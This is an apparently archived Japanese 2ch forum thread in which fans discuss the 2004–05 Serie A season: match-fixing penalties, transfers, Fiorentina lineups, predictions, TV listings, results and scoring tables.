シエーナが落ちてペルージャ昇格かと思ってたのに。つまんね。

>341
やっぱりイタリアうやむやになると思ってたが、ペルージャのＡやっぱり期待してたので、
解かってたこととはいえがっくり。

milaやん

３３８さんが訳したとおりですね。
yahoo！ITALIAによると、さっそくAC PERUGIAはコメント発表してますね。
「決定通知を分析した後に、裁判に訴えることになるだろう」と。

思わず笑ってしまうほどの処分軽減だけでなく、発表のタイミングの絶妙さには感心してしまいますね。
ＣＬ予備選のまっただ中＆ｗ杯、ＥＵＲＯに続く五輪でのアズーリ＆アッズリーニの不成績ぶりに
マスメディアの批判の矛先＆話題が余所に向いている最中に発表するとは。
まるでアルゼンチンに惨敗するのを期待して、発表を１日ずらしたみたいです。
今後Ｃ１降格と発表されたナポリが救済され、Ｂ残留なるとしたら、裏取引があったことの証拠になるでしょうか？

まあ、これがイタリア流といえばイタリア流とも言えますね。
あるサイト管理人さんが書いているとおり、「Ｂでもペルージャはペルージャ」ですから。
ただAじゃないと、日本でゲームを観られないのが残念です。現地に行けるのは年１，２回ですから。
ダイジェストでもいいのでネット放送してほしいものです。Ｓｅｒｉｅ　Ｂも観たいぞ！

八百長の処分にしては軽すぎるな。がっかりだ。

結局、八百長は事実ってことなの?
それにしてはやっぱ処分軽いね

処分するってことは八百長はあったって認めてるわけでしょ
にしちゃ軽杉だろｗ

明白には認定できなかったか、
もっとヤバイチーム（某トリノのクラブｙ某ミラノのクラブ）も関わっていた為公表できなかったかのどちらかだろう。

結局シエナはAでやれるの？

キウミエントをスタメンで見たいぞ！！

>>349
のようだ。毎度お馴染みのイタリアお家芸によって、
八百長騒動の責任所在と罰則は不問にされてしまった。
本当ならサンプドリアとかも許されるべきではないんだけどね。

カルチョの七不思議、ヨルゲンセンの移籍問題。
どうやら選手と双方のクラブ間では合意に達しているものの、
誰か影でごねてるヤシがいるらしい。
今月いっぱいまでには決まりそうだが。

>>349
ttp://www.gazzetta.it/Calcio/Squadra/Siena/notiziari/2004/08-agosto/25.shtml

ヨルゲンセンの移籍問題でごねているのは
ウディネーゼ側のようですよ。
ヨルゲンセンとフィオレンティーナの
間では合意に達しているものの
ヤンクロフスキ放出の可能性も
あるからウディネーゼ側が
渋っているみたいです。

ヨルゲンセンは去年ラツィオ移籍がオフィシャルHPでも発表されたんだけど
リベラーニがウディネ移籍にゴネて結局潰れたんだよな。
だから今年も残留になるんじゃないの。

（結果的に）つぶれたクラブから潰れそうなクラブへの移籍を拒否か。
気持ちは分からないでもないが。

Calcio Show面白いね
シーズン中も放送してくれるのかな

Ｕ．Ｓ．ＬＥＣＣＥ
http://ex5.2ch.net/test/read.cgi/football/1093729066/l50

フィオに移籍したキエリーニについて誰か詳しく教えてくれー
セリエＢでは相当活躍したらしいんだが。

フィオのシモーネは第何FWですか

第１節の日程

９月１１日（土）
キエーヴォｖｓインテル（１８時）
ミランｖｓリヴォルノ（２０時３０分）

９月１２日
アタランタｖｓレッチェ
ブレッシャｖｓユヴェントス
カリアリｖｓボローニャ
パレルモｖｓシエナ
パルマｖｓメッシーナ
レッジーナｖｓウディネーゼ
ローマｖｓフィオレンティーナ
サンプドリアｖｓラツィオ（２０時３０分）

サンプのユニ、創設当時モデルに戻った（地味に）。
２０年くらい続いたasicsと別れて河童になったが。

これでサンプの１つの時代が終わって
新しい時代が始まったような感じがする。

＞＞３６１
イタリアでアシックスユーザーが多いのは何故ですか？
それと今日の一般紙経済面見たら日本でカッパのライセンス販売している
フェニックスが産業再生機構に申請を行ったそうです．．．

ミラン、インテル ユベントス、
ローマ、フィオレンティーナ
の(BIG5)＋ラツィオ

サンプドリア、パルマ、パレルモ

　　　　　　　ポルティージョ

　ヨルゲンセン　　　　　　　　ミッコリ
　　　　　　　　　中田

　　　　　　マレスカ　　オボド

キエッリーニ　　　　　　　　　　　マッジオ
　　　　ウイファルシ　　ダイネッリ

　　　　　　　　ルパテッリ


今季のフィオレンティーナ（確定）

ミラン、ユベントス、インテル
ローマ
フィオレンティーナ
サンプドリア、ウディネーゼ、パレルモ
パルマ、ラツィオ、ボローニャ
アタランタ、ブレシア、シエナ
カリアリ、キエーボ
レッチェ、リボルノ、メッシーナ、レッジーナ

よーしパパ順位予想しちゃうぞ

１．ユーヴェ（カペッロだから）
２．ミラン（今年はちょっと伸び悩む）
３．パルマ（意外とまとまる）
４．インテル（所詮長男）
５．ラツィオ（他が弱かった）
６．サンプ（地味に堅い）
７．ボローニャ（同上）
８．フィオレンティーナ（寄せ集めじゃこんなもん）
９．ローマ（プランデッリがいればね・・・）
10．パレルモ（会長が悪だから）
11．ブレシア（バッジョの穴は意外と小さい）
12．レッチェ（コナンとボジノフがんばる）
13．アタランタ（さわやかに勝ち点を伸ばす）
14．ウディネーゼ（ガタガタ）
15．シエナ（それでも残留）
16．レッジーナ（同上）
17．キエーボ（デルネリでもってたようなもんだし）
18．メッシーナ（Aのレベルではない）
19．カリアリ（同上）
20．リボルノ（同上）

>>366
ローマは普通に強いだろ。
あとユーベはこの一日で一気に脅威になったな。

>>366
ウディネの順位が低すぎ

なんか、２０チームもあると、１０から下は比較できないゴミの集まりのようだな。

禿同。
もっと上位チームはレンタルで下位チームをフォローしてやってくれ。
ローマ　インテル　ミラン　ユーべ以下略じゃな。

4231

Portillo

Jorgensen Nakata 　　Miccoli

Obodo　 Maresca

Chiellini Maggio
Dainelli Ujfalusi

Cejas

確定。あとはインテルのクルスが来るかもしれん。
お金はまだまだ余ってる。

Aquisti（獲得）
　MF中田英寿（←パルマ）　２２０万ユーロ
　MFエンツォ・マレスカ（←ユヴェントス）　２５０万ユーロ　共同保有
　DFトーマス・ウィファルシ（←HSV)　６３０万ユーロ
　FWハヴィエル・ポルティージョ（←レアル）　レンタル
　MFクリスチャン・オボド（←ペルージャ）　２５０万ユーロ　共同保有
　MFジャンニ・ギグー（←ローマ）　０ユーロ
　DFクリスチャン・マッジョ（←ピアチェンツァ）　１２０万ユーロ　共同保有
　DFダリオ・ダイネッリ（←ブレッシャ）　２５０万ユーロ　共同保有　
　DFアントニオ・アクイランティ（←ペスカラ）　３０万ユーロ
　MFハイメ・ヴァルデス（←バリ）　１３０万ユーロ　共同保有
　MFアンドレア・デェファルコ（←アンコナ）　０ユーロ
　DFジョルジオ・キエッリーニ（←ユヴェントス）　３００万ユーロ　共同保有
　MFマルティン・ヨルゲンセン（←ウディネーゼ）　２５０万ユーロ　共同保有
　FWファウリツィオ・ミッコリ（←ユヴェントス）　４５０万ユーロ　共同保有

フィオレンティーナ凄いぞ。ガゼッタの戦力採点第４位！
ローマ、パルマ、ラツィオよりも上！
　
http://xoomer.virgilio.it/vadopazzodicalcio/sub34.htm
採点：７．５
評価：モンドニコにとって、多くの、そしてとても興味深い新顔が揃った。
デッラヴァーレはチーム再編成のために身を入れた。テクニック面では、間違いな
く満足いくチーム。あとは、質の高いこれらの選手が、戦術面どのように機能する
かを確かめる必要がある。

ミラン８．５
ユヴェントス８．５
インテル８＋
　
フィオレンティーナ７．５
ローマ７＋
パレルモ７
パルマ７−
ウディネーゼ７−

ラツィオ６．５
サンプドリア６．５
リヴォルノ６＋
メッシーナ６
シエナ６
ボローニャ６
レッチェ６
ブレッシャ６
レッジーナ６−
アタランタ６−
キエーヴォ６−
カリアリ５．５

>>366だがローマはやばいと思う
サムエル抜けたしフェラーだしマンシーニとか去年限りだろうし
CLとどっちつかずでUEFA圏も逃すと予想

ウディネーゼもヨルゲンセンもヤンクロフスキも抜けたらやばいだろ
残留争いに加わりかけみたいな1年だと思う

でキエーボは4年間お疲れ様！ってなるよきっと

契約違反によりメクセス６週間出場停止だって。ローマ開幕終わった

>>373
ヤンクロは出てない。
ヨルゲンセンの穴はディナターレで充分埋めれる

長年いたヨルゲンセンの穴がいきなり埋まるかな?

>>372
ラツィオが９位の時点でセリエのレベルがわかるな。

>>377
普通にいい補強してるじゃん
南米系は未知数すぎるけど

まあハッキリ言って世界で一番恐い２トップは、

インテルのアドリアーノ＆マルティンスだよ

あいつら人類じゃない。恐すぎ。

人類じゃないからイマイチサッカーを理解してない面もある

秀同。
まじあたりたくねー。

プランデッリの奥さんは病気なの？

>>382
うん。

何の病気

ガンってのをどこかのスレで見た。
治るといいね。

いよいよ来週開幕だね

結局八百長の懲罰降格ないのかな〜

＜第２節：試合日程＞
レッチェ−ブレシア　土曜日　１８時
インテル−パレルモ　土曜日　２０時３０分
ボローニャ−ミラン　日曜日　１５時
フィオレンティーナ−カリアリ　同上
ユベントス−アタランタ　同上
ラツィオ−レッジーナ　同上
リボルノ−キエーボ　同上
メッシーナ−ローマ　同上
シエナ−サンプドリア　同上
ウディネーゼ−パルマ　日曜日　２０時３０分

ちょいと質問
ﾌﾞﾘｰｷﾞはキエーボに完全移籍ですか?
それともレンタル?

レンタル

>>390
トンクス
ローマじゃあそこのポジション厚いもんね

Ｊスポライブ枠はパルマ対メッシーナ

キエーボvsインテル
【解説】川勝良一【実況】渡邊哲夫
初回 9月11日 (土) 生中継 24:55 Ch.180
パーフェクト チョイス

ミランvsリボルノ
【解説】宮内聡【実況】八塚浩
初回 9月11日 (土) 生中継 27:25 Ch.180
パーフェクト チョイス

ローマvsフィオレンティーナ
【解説】高木琢也【実況】八塚浩
初回 9月12日 (日) 生中継 21:55 Ch.180
パーフェクト チョイス

レッジーナvsウディネーゼ
【解説】羽中田昌【実況】大庭荘介
初回 9月12日 (日) 生中継 21:55 Ch.181
パーフェクト チョイス

ブレシアvsユベントス
【解説】セルジオ越後【実況】西岡明彦
初回 9月12日 (日) 生中継 21:55 Ch.182
パーフェクト チョイス

パルマvsメッシーナ
【解説】後藤健生【実況】田中雄望
初回 9月12日 (日) 生中継 21:55 Ch.306
J SPORTS 1

サンプドリアvsラツィオ
【解説】森山泰行【実況】八塚浩
初回 9月13日 (月) 録画 23:00 Ch.307
J SPORTS 2

セリエA ハイライト＃1
【ナビゲーター】假野剛彦
初回 9月15日 (水) 録画 22:00 Ch.186
パーフェクト チョイス

ケーブラーなもんでJスポしか見れんのだが、LIVEがメッシーナかよ・・・

ミラン、ヴィオラの全試合が見たかったら
スカパーのどのセットに入ればいいんですか

>>395
日本人なら柳沢応援しろよ

>>394
ｺﾞﾘだ！

「日本人なら」っておかしいと思わない？

>396
ミランとビオラ全試合はおそらくほぼ生放送。
最低価格なら基本料金＋セリエライブでいい。
ただしミラン戦がＪスポ枠になるときがあったら生はセリエライブセットではみれん
再放送はパーチョイ分でみられる。
まあ、ミランも９０％以上パーチョイだし、ビオラは中田枠があるかぎりパーチョイのみ
セリエライブだけでＪスポきりすていいならこんな感じ

夜のゲームなんだからサンプ対ラツィオ生でやれよ

>>400
そっかーありがとう！
見るだけなら全試合見られるってことですか！

ボローニャ・アタランタ・レッチェ・カリアリ・シエナ・パレルモが見られない

サンプ対ラツィオもﾎﾞﾛ-ニャも生で見てーよー！ヽ(`Д´)ﾉ

ほとんど補強はしてないけどブレシアとパルマが面白そう

全部見るにはどの契約がいいの？

ちなみにセリエのみね
プレミア、ブンデスは後回し

全部は無理じゃないかな
セリエライブ＋海外リーグセットにすればいいと思う

開幕戦って特別なセレモニーとかある？

モッジとガリアーニの意向で全てが決まってしまうリーグはここですか？

だから日本人には違和感ないのです。

ついに開幕か。
２クラブ増えたのは影響をもたらすのか

今シーズンのオープニングいいかんじ。
昨シーズンのチョウチョより全然いいと思う。

世界はカルチョを中心に回る

413 ：名無しさん ：04/09/12 01:37:50 ID:qs2duVoo
世界はカルチョを中心に回る
413 ：名無しさん ：04/09/12 01:37:50 ID:qs2duVoo
世界はカルチョを中心に回る
413 ：名無しさん ：04/09/12 01:37:50 ID:qs2duVoo
世界はカルチョを中心に回る

いいこと言った！

だろ。
次のセリエ総合スレはこの題名でいこうよ

>>415
荒らしを増やしたいの？

>>415
ttp://ex5.2ch.net/test/read.cgi/football/1080013664/l50
ここでするべき話題だな。

ただ、ユーベのDF陣にアドリアーノは止めれないだろうとｵﾓﾀ。

誤爆すんません・・・

今季はプロビンチャが波乱起こしまくって暴れそうな予感
ビッグ４は総コケしそう

ていうか、今日の2チーム、CLへの温存考えてキエーボ・リボルノ舐めすぎたな

インテルは、まだ呪いがかかっているとしか思えない。
キエーボ相手にドローとは。
ミランはいきなりジーダ赤紙のトマソン抜けだし。
これはリボルノを称えたい。久々血まなこで守りきってるの観たよ。

>>373
古いレスのレスだけど、マンシーニは未だ終わってないと思う。
守りは心配ではあるけど、まだまだイケイケでしょ。期待。

でもこれでセリエAがたのしくなりますね

キエーボはデルネーリ抜けたらダメかと思ったけどけっこうやるね

インテル（所詮長男） ってどういう意味？

>>424
【今年も】　だめぽ三兄弟　７　【優勝候補】
http://ex5.2ch.net/test/read.cgi/football/1093988212/

キエーボ相手にってなんだ？キエーボは普通にいいチームだったろ

「いい人なんだけど」の「いい」と同じくらいって意味

>>426
面子の差は歴然だけどな

ユベントス














　　　　　　　　　つ　　　　　　　　　　　　　　　よ　　　　　　　　　　　　　　す　　　　　　　　　　　　　ぎ

ユベントス














　　　　　　　　　つ　　　　　　　　　　　　　　　よ　　　　　　　　　　　　　　す　　　　　　　　　　　　　ぎ

フィリッピーニ兄弟ってそろってラツィオ行ったんだ
昨季はパレルモだったはずだけど、いつ移籍した？
8月？

>>431
確か移籍最終期限日だよ

一度、ヴィオラに移籍したよね？

Chievo 2 - 2 Inter Milan
AC Milan 2 - 2 Livorno
AS Roma 1 - 0 Fiorentina
Atalanta 2 - 2 Lecce
Brescia 0 - 3 Juventus
Cagliari 1 - 0 Bologna
Palermo 1 - 0 Siena
Parma 0 - 0 Messina
Reggina 0 - 0 Udinese
Sampdoria 0 - 1 Lazio

3 Juventus
3 Lazio
3 Cagliari
3 Palermo
3 Roma
1 Inter
1 Lecce
1 Livorno
1 Atalanta
1 Chievo
1 Milan
1 Messina
1 Udinese
1 Parma
1 Reggina
0 Bologna
0 Fiorentina
0 Siena
0 Sampdoria
0 Brescia

2 Lucarelli (Livorno)
Seedorf (Milan)
1 Adriano (Inter)
　Albertini (Atalanta)
　Bojinov (Lecce)
　Di Canio (Lazio)
　Esposito (Cagliari)
　Giacomazzi (Lecce)
　Ibrahimovic (Juventus)
　Montella (Roma)
　Nedved (Juventus)
　Pazzini ( Atalanta)
　Pellissier (Chievo)
　Semioli (Chievo)
　Stankovic (Inter)
　Toni (Palermo)
　Trezeguet (Juventus)

ラツィオ、蟹男色が強すぎるｗ

リボルノちょっと面白い

試合終わった後のゴール集みたいなやつで、
ローマの時の曲なんて曲かわかりますか？

カリアリ・パレルモの試合が見たい

>>432
遅くなってすまん、ｻﾝｸｽ

第1節ボロニャのスタメン知りたいんですが、
できれば全チームのスタメンを掲載しているサイトとかないっすか？
探してるんですが見つからないんですよ...。

>>442
http://www.gazzetta.it/speciali/statistiche/2005/
ここなどどう？

>>443　ネ申！
産休。ブクマクしました。

大金使いまくってるのに
相変わらず悪運だけのインテルｗ
ＰＫ２本に退場なんて・・・

soccerageって更新されてないね。ベスト＆ワーストイレブン楽しみだったのに。

LiveScore.com以外で、試合速報サイトってありますか？
LiveScore.com　だと誰がスタメンとかわかんない　(´･ω･`)

>>446
新しいサッカーサイト「GOAL.COM」がOPEN!!
http://www.goal.com/

セリエA、今週のベストイレブン
2004/09/14 10:52:00
ルカレッリ、トニがツートップ。守りではバルザーリ、クフレが台頭。
キーパー：アナーニア（レッチェ）
ディフェンダー：クフレ（ローマ）、カンナヴァーロ（ユヴェントゥス）、メクセス（ローマ）、バルザーリ（パレルモ）
ミッドフィールダー：エスポジト（カリアリ）、バローニオ（キエーヴォ）、セードルフ（ミラン）、ディ・カーニオ（ラツィオ）
フォワード：ルカレッリ（リヴォルノ）、トニ（パレルモ）
監督：カペッロ ステファノ・デ・マルティーノ選

>>447
http://www.kataweb.it/sport/

今回の放送権騒動にはセリエも関わっているのかなぁ。
ちょっとセリエが嫌いになった。

あの、プロッティとかマルタリアーティとかって
４〜５年くらい前にいたのと同一人物っすか？

プロッティは得点王とった彼だが。マルタリアーティは知らん。今カリアリだっけ

>>445
ブレーメンのＣＢがアドリアーノに
ヒーヒー言って倒してんだからＰＫも退場も当然だ。
退場は２回目の方が退場っぽいけど。
試合見てから言おうね僕。他にも山ほどチャンスあったからね

元ウディネーゼ、ってかクレモネーゼの不動のＧＫトゥルチがサンプに入ったとは知らなかった。
（第二キーパーだが背番号は１）
しかも開幕戦からいきなり出番あるし（w
サスペンションがあるだろうから来週も見れそうで楽しみ。

>>453
要するにアドがいなきゃカスってことだよ

Ｂスレって落ちた？

落ちてるね

Ｂスレ立ったよ。

ttp://ex5.2ch.net/test/read.cgi/football/1095431924/l50

hoshu

世界の国内ﾘｰｸﾞの中ではﾌﾗﾝｽﾘｰｸﾞは２００３年は６位
1.Italia 1180,0
2.Espana1107,0
3.England1052,0
4.Brasil1026,0
5.Argentina882,0
6.France817,0
7.Deutschland783,0
8.Nederland741,5
9.Portugal709,5
10.Scotland688,5
ttp://www.iffhs.de/main/ranking/weltligatop50/?sprache=englisch
この年のｲﾀﾘｱとｽﾍﾟｲﾝのﾘｰｸﾞの順位の関係は気に食わんが・・・
ちなみに2002, 2001,2000年は一位はｽﾍﾟｲﾝ
問題の日本は５８位。
OTZ
たぶん、評価する海外の人はJﾘｰｸﾞをまったく見てないと思うが
（少なくともｽﾀｼﾞｱﾑには来ていないだろう）
世界からの評価はこんなもん

その6位の国の2部ﾘｰｸﾞとJﾘｰｸﾞを比較するとやっぱﾌﾗﾝｽの２部の方が上じゃないかな

パレルモはコリーニのキック精度、ガスバッローニとサンターナの強力両サイド、トップにはトニ。
めっちゃ強いだろーー。監督はグイドリンだし。
パレルモけっこうやらかすんじゃない？

ミラン、ユーベ
インテル、ローマ
-----------------CL出場権争い
ラツィオ、ウディネ
パルマ、サンプ、パレルモ
----------------UEFA杯出場権争い
フィオレンティーナ
レッチェ、アタランタ
ボローニャ、キエーボ、シエーナ
----------------中位クラス争い
ブレシア、レッジーナ
メッシーナ、カリアリ、リヴォルノ
----------------残留争い

こんな感じだと予想してる。

レッチェ強いぞ

ボジノフスゲー。

レッチェが強いのかブレシアが弱いのかどっちなんだろう。

漏れはアタランタに注目。
新しいタレント出現にも期待だがアルベルティーニが操縦する中盤は
ハァハァもんでしょ。

だれかおれをｾﾘｴ実況板に誘導してくれ

パレルモ！

今シーズンブレイクする選手

アレックス・ピナルディ　(レッチェ)

アンドレア・ガスバッローニ　(パレルモ)

ルーベン・オリベーラ　(ユベントス)

マッシモ・マッカローネ　(パルマ)

ゼーマンサッカー(*´Д｀)ﾊｧﾊｧ/lｧ/lｧ/ヽァ/ヽァ　ﾉ ＼ア　ﾉ ＼ア　/　＼　ア　/　＼　ア

レッチェ4　+3
パレルモ4　+1
ユベントス3　+3
ローマ3　+1
ラツィオ3　+1
カリアリ3　+1
インテル2　0
キエーボ1　0
リボルノ1　0
アタランタ1　0
パルマ1　0
ウディネーゼ1　0
レッジーナ1　0
メッシーナ1　0
サンプドリア0　-1
ボローニャ0　-1
シエナ0　-1
フィオレンティーナ0　-1
ブレシア0　-6
　

ミラン消滅しちゃった
レッチェ4　+3
パレルモ4　+1
ユベントス3　+3
ローマ3　+1
ラツィオ3　+1
カリアリ3　+1
インテル2　0
ミラン1　0
キエーボ1　0
リボルノ1　0
アタランタ1　0
パルマ1　0
ウディネーゼ1　0
レッジーナ1　0
メッシーナ1　0
サンプドリア0　-1
ボローニャ0　-1
シエナ0　-1
フィオレンティーナ0　-1
ブレシア0　-6
　

インテルはまた引き分けだったけど、昨シーズンよりもマシじゃない？
昨シーズンは開幕2戦は2勝だったけど、内容最悪だった記憶がある。
そこまで悲観的にならなくてもいいと思う。
パレルモつよい。やっぱグイドリンっていい監督だね。

http://live.goal.com/registrazione.asp

この中継見たいんだけど、登録できない。
誰か、詳しく教えてください。

３強とそれ以外の力が離れすぎてるなんて言われてたが、
波乱気味なスタートだね。

今シーズンは面白くなりそう。

こけると奈落に行きそうなグイドリン＆ゼーマンが
好発進したのは嬉しい。面白くなりそうだ。

セリエＡ




















　　　　　　　　お　　　　　　も　　　　　　し　　　　　　ろ　　　　　　す　　　　　　ぎ


　　　　　

ラチオのPKそんなに怪しかったの？

チーム数増えて日程も詰まっているし油断できないな

順位 チーム名 勝点 試合 勝 分 敗 得点 失点 得失差 　
1. ユヴェントス 6 2 2 0 0 5 0 +5 CL
2. レッチェ 4 2 1 1 0 6 3 +3
2. ミラン 4 2 1 1 0 4 2 +2
2. メッシーナ 4 2 1 1 0 4 3 +1
2. キエーヴォ 4 2 1 1 0 4 3 +1 UEFA
2. ラツィオ 4 2 1 1 0 2 1 +1
2. パレルモ 4 2 1 1 0 2 1 +1
8. ローマ 3 2 1 0 1 4 4 0
8. フィオレンティーナ 3 2 1 0 1 2 2 0
8. カッリャリ 3 2 1 0 1 2 2 0
8. シエーナ 3 2 1 0 1 2 2 0
12. インテル 2 2 0 2 0 3 3 0
12. レッジーナ 2 2 0 2 0 1 1 0
14. パルマ 1 1 0 1 0 0 0 0
14. ウディネーゼ 1 1 0 1 0 0 0 0
14. リヴォルノ 1 2 0 1 1 3 4 -1
14. アタランタ 1 2 0 1 1 2 4 -2
18. サンプドリア 0 2 0 0 2 1 3 -2 降格
18. ボローニャ 0 2 0 0 2 0 3 -3
18. ブレッシア 0 2 0 0 2 1 7 -6

ブレシアやべえええええ！
書き込もうにもスレ落ちてるし、ウディネ戦後ディミってた記念ﾊﾟﾋﾟｺ
しようにもﾃﾞｨﾐｹｰﾚすれ落ちてるしもうだめじゃんここ。

降格４チームにしろよ
セリエなのにぬる過ぎ

引き分け狙いのポイントゲッターになってつまらない試合が連発すると思う。

赤がかなり出てるね

>>480
もうスレ立てした奴が、そのスレの管理者にならんと厳しいかもナ
立て逃げなんてもってのほか

>>482
昨日のボローニャ戦見たら、すげーへたれ感が強いクラブになったなぁと感じた
ホームであんな試合してお客喜ぶのかな
初めて前線にいって初めてシュート撃ったのも33分になってやっと
明らかにスコアレスドローのサッカーしてた
なんせターレが守備陣の中にいたもの('A`)
相手が去年のスクデットクラブとはいえ・・・

ただ今の所、昇格組の奮闘で面白いものにはなってるね
２節で勝点なしの昇格組なくなった。
去年のアンコナみたいな強烈なチームがなくてほっとしたよ

強烈なチームﾜﾛﾀ

今年もインテルは調子良いな
良い補強してたから今年は心配してたんだ

１１月には縦縞２チームが抜け出して、青黒が追走って状況になってるでしょうね。
下手すると１０月中になるかもしれんね。

パレルモがＣＬ圏内に入ると思うのは漏れだけ？

たぶん
1 ユベ
2 パレルモ

降格争いは去年以上に団子になりそうだ。

>>488
入る、とは思わんが、入る争いを結構するんではないか、とは思ってしまう。

ローマがこけそうなんでパレルモにもチャンスはあるだろう。
ローマに加えラツィオ、ウディネ、フィオあたりがライバルか。

imodeで、「セリエAオフィシャルTV」っていうのが出来たね。
ケータイにしては映像と写真がスゲーいっぱいある。

アドレス教えてもらえる？＞493

＞494
imodeのアドレスはたぶんコレ↓
http://seriea.aquacast.net/index.php?uid=NULLGWDOCOMO

iメニュー＞週刊iガイド＞新登場NEWサイト
で見つけた。

ｾﾘｴAｵﾌｨｼｬﾙTV登録しちゃった
動画っていいね
携帯でボールがはっきし見えるのがすごい

そんなパレルモスレが落ちてた＿|￣|○

昼にはあったのに・・・落ちるの早すぎ

>>495
写真や動画も多いけど、俺的には現地レポートが良かったかな。
しかし、セリエAの試合映像が多いサイトって珍しいと思う。

9/23はイタリアも祝日なの？

レッチェvsカリアリ
【解説】後藤健生【実況】田中雄望

初回 9月26日 (日) 生中継 21:55 Ch.306 J SPORTS 1


ゼーマンｖｓゾラ(；ﾟ∀ﾟ)=3ﾊｧﾊｧ

>>495
これパケホじゃなかったら死ぬな・・・

やっぱりハイライトでもヴィオラとメッシーナのホームゲームは放送しなかったか・・・

柳沢はなんでセリエＡ昇格クラブを渡り歩くのだろう

たまたまだな・・

>>504
実力がすべての世界だから当然。

柳沢の移籍した昇格クラブは活躍する。
しかし柳沢は・・・

つーか、昇格クラブにしか移籍できないじゃん。

またチョベントスが八百長PK貰ってたな

ほんと懲りないな八百長ユーべも

アタランタのブタンって言うFWいいな
でかくてうまい

フィオレンティーナの至宝がヒデに“激辛アドバイス”

オラ史上最高の１０番といわれるアントニョーニ氏。イタリア代表としても活躍した＝ＰＥＧＡＳＯ〕

自ら築いた『背番号１０』の栄光。後継者に厳しい視線が向けられた。
「個人的な意見なんだが、もっとポジショニングを考えないといけない。どう見ても、監督の指示に従っていない位置でプレーしている」
アントニョーニ氏は「中田もゴールしたいなら、オレの所に１回は食事に来ないとダメだね」と付け加えた。

中田も大変だな。同情するよ（　´Д｀）

リボルノがんばれ超がんばれ

パルマはやっぱりだめぽですね。

アントニョーニはレストランでも経営してんのか？

.: Classifica 2004/2005

9 Juventus
7 Lazio
7 Messina
6 Cagliari
5 Udinese
5 Lecce
5 Inter
5 Chievo
5 Reggina
5 Palermo
4 Milan
4 Roma
4 Fiorentina
3 Bologna
3 Siena
1 Livorno
1 Atalanta
1 Parma
0 Sampdoria
0 Brescia

.: Classifica marcatori 2004/2005

4 V. Bojinov (Lecce)
4 V. Montella (Roma)
4 D. Trezeguet (Juventus)
3 L. Adriano (Inter)
2 E. Bonazzoli (Reggina)
2 M. Esposito (Cagliari)
2 G. Giacomazzi (Lecce)
2 D. Giampa' (Messina)
2 Z. Ibrahimovic (Juventus)
2 C. Lucarelli (Livorno)
2 G. Pazzini (Atalanta)
2 C. Seedorf (Milan)
2 F. Semioli (Chievo)
2 D. Stankovic (Inter)
2 D. Suazo (Cagliari)
2 L. Toni (Palermo)
2 R. Zampagna (Messina)

>>451>>452
セリエＡでも豊富な経験を持つ、ロベルト･マルタリアーティ。
Ａデビューは93-94パルマ。94-95からトリーノ守備陣の中心でプレー
ピアチェンツァ、アンコーナを経て03-04冬にカリアリに。
昨季までＡ通算109試合で得点は無い。Ｂでは178試合3得点。

>>454
もう3シーズン目になるよ。
ＢではレギュラーＧＫだったが、昨季はアントニオリ加入でサブに。

>>510
ブダンは名波がいた頃にヴェネツィアにきた選手。
99-00に19歳でリエカ（クロアチア）から加入して16試合2得点
伸び悩みか、パッとしないシーズンが続いたが
03-04にアタランタに移って開花して23試合11得点
アタランタの開幕ダッシュに大きく貢献。
中盤で膝を負傷して長期離脱したが、終盤に復帰した。

>>495
このサイトの現地レポートやセリエＡスタジオ（試合模様）とやらが、がんがん上がってくるね、
夜中も今日も上がってくる、休まないのかな？　夜中に飲んでたら更新されたよ。エ？！て感じ。。
試合の写真がやたらと付いてて保存したら待ち受けになったぜ？プロテクションしてないね？？
我ら的には良いかも。。セリエの公式サイトらしく　情報量はやたらと多い、う。多すぎ？

>>499
現地レポートは同感で、結構面白かった。。しかし　試合の写真や動画が多い
こんなに写真があるのは見たことないね。ＷＥＢでもやらないかないかな。
フォトギャラリーだけでもＷＥＢで。。まじで。。
　

八百長ミランVS八百長とは無縁のユーベ
なんか張り合いねーな(ｷﾞｬﾊﾊﾊﾊ

>>516
お、滋賀県出身某地元最強進学高校卒のミカエル神だ

>>517
速報性、情報量、画像や動画の露出量としては
かなりのものがあるよね。
携帯電話というのは、速報性や情報確認としては実はいいツールなのかも。

動画ダウソしたらパケ死するだろ

レッチェユニｶｺｲｲな

>>519
膳所高か？本当に優秀な奴は東山特進で京都の学校行くけどな。洛南とか。
俺は彦根東で４０番１浪→京大だった。

ｾﾘｴAｵﾌｨｼｬﾙTV imodeじゃなくてEZwebでやってほしい。
ムービーをダブル定額で落としまくりたい。

>>524
こうゆうのならあるよ
http://www.mediacast.tv/ez/serie/index.htm

EZチャンネルは論外でわ？

>>523
あ、あなたと一緒みたいです
ミカエル神てただのサカオタかと思ってたら高校野球も異常に詳しくてビビった
たぶん他にも知識に長けたジャンルがあるはず

>>527
田中？

ミカエルｦﾀがウザいので、ミカエルは名無しになってもらいたい
そのせいで90年代スレッドもさびれてしまったし

>>522
はげどー！

えらいローカルだな･･･w

たった2レスでうざいというのもどうかと思うが

名無しになってもレス見ればすぐミカエルとわかるから意味ない

レジーナ、芝を張り替えるようだ。

セリエつまんね

>>523
同窓生だ。
先輩？後輩？
ちなみに漏れはシドニー五輪世代だが。

>>527
主にカキコしてるジャンルは
サカ板（国内・海外問わず　ただし最近国内はあまり書いてない）
野球板（プロ野球、野球殿堂、野球総合）

この他に書き込みは少ないが
相撲板（幼稚園時代＝二代目若乃花や北の湖晩年くらいから見てる）
Ｆ1板（92年から見てる）
三国志･戦国板（もともと歴史科目は一番の得意）
日本史･世界史板あたりを見てる。

ここでひとつ、セリエネタを
>>513
副業でやってるんだろうね。
現在落ちてるあの人は今スレ（7くらいまで行ってたか？）でも
時折名前を見かけた、これも元フィオの10番マッシモ･オルランド
ファン･バステンをして天才と言わしめた男だったが、フィオＢ落ち→
ミランレンタルも故障→フィオ復帰もルイ･コスタ加入で控え
故障が多いのと、好不調の波が激しいのがたたった。
この人も引退後フィレンツェでレストラン経営。

ミカエルってまだ20代半ばなのか！
40過ぎのｵｻｰﾝと思ってたよ。結構ショックだ

お馴染みのユーべジャッジ発動

ま　た　か

フェラはもうクビだな。

imodeの情報が濃くて良い

なにかあれば八百長のせいにしてるやつはきっと人生でも言い訳して生きてるんだろーね

どういっても、衆知の事実だからなぁ

そういうのひっくるめてセリエの醍醐味だろ。
そういうので騒ぐのが好きなイタリア人ふくめ。

レッチェ、パレルモいいね
サンプ、ウディネ、フィオの中堅が頑張れば
もっと面白いんだが

1.ユベントス　10　　+8
2.レッチェ　　8　　+5
3.メッシーナ　8　　+2
4.ラツィオ　　7　　+3
　　　・
　　　・
　　　・
　　　・
17.ブレシア　3　　-7
18.リボルノ　2　　-2
19.アタランタ2　　-3
20.パルマ　　2　　-5　

残りが
ラツィオ7　+3vs　ミラン　4　+1
かな

